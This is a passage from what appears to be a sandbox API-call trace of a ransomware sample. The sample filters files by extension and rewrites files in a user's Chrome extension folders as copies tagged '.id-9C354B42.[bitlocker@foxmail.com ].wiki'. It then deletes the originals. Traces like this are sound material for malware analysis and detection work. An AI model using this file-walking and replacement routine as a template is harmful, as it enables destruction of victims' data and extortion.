(lpString=".doc") returned 4 [0173.427] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.427] lstrlenW (lpString=".docx") returned 5 [0173.427] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.427] lstrlenW (lpString=".pdf") returned 4 [0173.427] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.427] lstrlenW (lpString=".xls") returned 4 [0173.427] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.427] lstrlenW (lpString=".xlsx") returned 5 [0173.427] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.427] lstrlenW (lpString=".ppt") returned 4 [0173.427] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.427] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.427] lstrlenW (lpString=".zip") returned 4 [0173.427] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.427] lstrlenW (lpString=".rar") returned 4 [0173.427] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.427] lstrlenW (lpString=".bz2") returned 4 [0173.427] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.427] lstrlenW (lpString=".7z") returned 3 [0173.427] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.427] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.427] lstrlenW (lpString=".dbf") returned 4 [0173.427] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.428] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.428] lstrlenW (lpString=".1cd") returned 4 [0173.428] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.428] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.428] lstrlenW (lpString=".jpg") returned 4 [0173.428] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.428] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.428] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.428] lstrlenW (lpString=".doc") returned 4 [0173.428] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.428] lstrlenW (lpString=".docx") returned 5 [0173.428] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.428] lstrlenW (lpString=".pdf") returned 4 [0173.428] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.428] lstrlenW (lpString=".xls") returned 4 [0173.428] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.428] lstrlenW (lpString=".xlsx") returned 5 [0173.428] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.428] lstrlenW (lpString=".ppt") returned 4 [0173.428] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.428] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.428] lstrlenW (lpString=".zip") returned 4 [0173.428] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.428] lstrlenW (lpString=".rar") returned 4 [0173.428] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.428] lstrlenW (lpString=".bz2") returned 4 [0173.428] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.428] lstrlenW (lpString=".7z") returned 3 [0173.429] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.429] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.429] lstrlenW (lpString=".dbf") returned 4 [0173.429] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.429] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.429] lstrlenW (lpString=".1cd") returned 4 [0173.429] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.429] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.429] lstrlenW (lpString=".jpg") returned 4 [0173.429] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.429] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.429] lstrlenW (lpString="messages.json") returned 13 [0173.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.429] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=214) returned 1 [0173.568] CloseHandle (hObject=0x320) returned 1 [0173.568] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json")) returned 0x2020 [0173.568] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.568] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.568] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.569] GetLastError () returned 0x0 [0173.569] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd6, lpOverlapped=0x0) returned 1 [0173.570] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.571] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.571] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.571] SetEndOfFile (hFile=0x198) returned 1 [0173.571] CloseHandle (hObject=0x198) returned 1 [0173.571] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.571] SetEndOfFile (hFile=0x320) returned 1 [0173.572] CloseHandle (hObject=0x320) returned 1 [0173.572] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.572] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json")) returned 1 [0173.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.572] lstrlenW (lpString=".doc") returned 4 [0173.572] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.572] lstrlenW (lpString=".docx") returned 5 [0173.572] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.572] lstrlenW (lpString=".pdf") returned 4 [0173.573] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.573] lstrlenW (lpString=".xls") returned 4 [0173.573] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.573] lstrlenW (lpString=".xlsx") returned 5 [0173.573] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.573] lstrlenW (lpString=".ppt") returned 4 [0173.573] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.573] lstrlenW (lpString=".zip") returned 4 [0173.573] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.573] lstrlenW (lpString=".rar") returned 4 [0173.573] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.573] lstrlenW (lpString=".bz2") returned 4 [0173.573] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.573] lstrlenW (lpString=".7z") returned 3 [0173.573] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.573] lstrlenW (lpString=".dbf") returned 4 [0173.573] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.573] lstrlenW (lpString=".1cd") returned 4 [0173.573] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.573] lstrlenW (lpString=".jpg") returned 4 [0173.573] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.573] lstrlenW (lpString=".doc") returned 4 [0173.573] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.573] lstrlenW (lpString=".docx") returned 5 [0173.574] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.574] lstrlenW (lpString=".pdf") returned 4 [0173.574] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.574] lstrlenW (lpString=".xls") returned 4 [0173.574] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.574] lstrlenW (lpString=".xlsx") returned 5 [0173.574] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.574] lstrlenW (lpString=".ppt") returned 4 [0173.574] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.574] lstrlenW (lpString=".zip") returned 4 [0173.574] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.574] lstrlenW (lpString=".rar") returned 4 [0173.574] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.574] lstrlenW (lpString=".bz2") returned 4 [0173.574] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.574] lstrlenW (lpString=".7z") returned 3 [0173.574] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.574] lstrlenW (lpString=".dbf") returned 4 [0173.574] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.574] lstrlenW (lpString=".1cd") returned 4 [0173.574] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0173.574] lstrlenW (lpString=".jpg") returned 4 [0173.574] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.575] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0173.575] lstrlenW (lpString="128.png") returned 7 [0173.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.575] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6707) returned 1 [0173.575] CloseHandle (hObject=0x320) returned 1 [0173.575] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png")) returned 0x2020 [0173.575] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.575] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.576] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.576] GetLastError () returned 0x0 [0173.576] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x1a33, lpOverlapped=0x0) returned 1 [0173.578] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x1a40, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1a40, lpOverlapped=0x0) returned 1 [0173.579] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.579] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0173.579] SetEndOfFile (hFile=0x198) returned 1 [0173.579] CloseHandle (hObject=0x198) returned 1 [0173.579] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.579] SetEndOfFile (hFile=0x320) returned 1 [0173.580] CloseHandle (hObject=0x320) returned 1 [0173.580] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.581] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png")) returned 1 [0173.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.581] lstrlenW (lpString=".doc") returned 4 [0173.581] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0173.581] lstrlenW (lpString=".docx") returned 5 [0173.581] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0173.581] lstrlenW (lpString=".pdf") returned 4 [0173.581] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0173.581] lstrlenW (lpString=".xls") returned 4 [0173.581] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0173.581] lstrlenW (lpString=".xlsx") returned 5 [0173.581] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0173.581] lstrlenW (lpString=".ppt") returned 4 [0173.581] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0173.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.581] lstrlenW (lpString=".zip") returned 4 [0173.581] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0173.581] lstrlenW (lpString=".rar") returned 4 [0173.581] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0173.582] lstrlenW (lpString=".bz2") returned 4 [0173.582] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0173.582] lstrlenW (lpString=".7z") returned 3 [0173.582] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0173.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.582] lstrlenW (lpString=".dbf") returned 4 [0173.582] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0173.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.582] lstrlenW (lpString=".1cd") returned 4 [0173.582] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0173.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.582] lstrlenW (lpString=".jpg") returned 4 [0173.582] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0173.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.582] lstrlenW (lpString=".doc") returned 4 [0173.582] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0173.582] lstrlenW (lpString=".docx") returned 5 [0173.582] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0173.582] lstrlenW (lpString=".pdf") returned 4 [0173.582] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0173.582] lstrlenW (lpString=".xls") returned 4 [0173.582] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0173.582] lstrlenW (lpString=".xlsx") returned 5 [0173.582] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0173.582] lstrlenW (lpString=".ppt") returned 4 [0173.582] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0173.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.583] lstrlenW (lpString=".zip") returned 4 [0173.583] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0173.583] lstrlenW (lpString=".rar") returned 4 [0173.583] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0173.583] lstrlenW (lpString=".bz2") returned 4 [0173.583] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0173.583] lstrlenW (lpString=".7z") returned 3 [0173.583] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0173.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 134 [0173.583] lstrlenW (lpString=".dbf") returned 4 [0173.583] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0173.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") 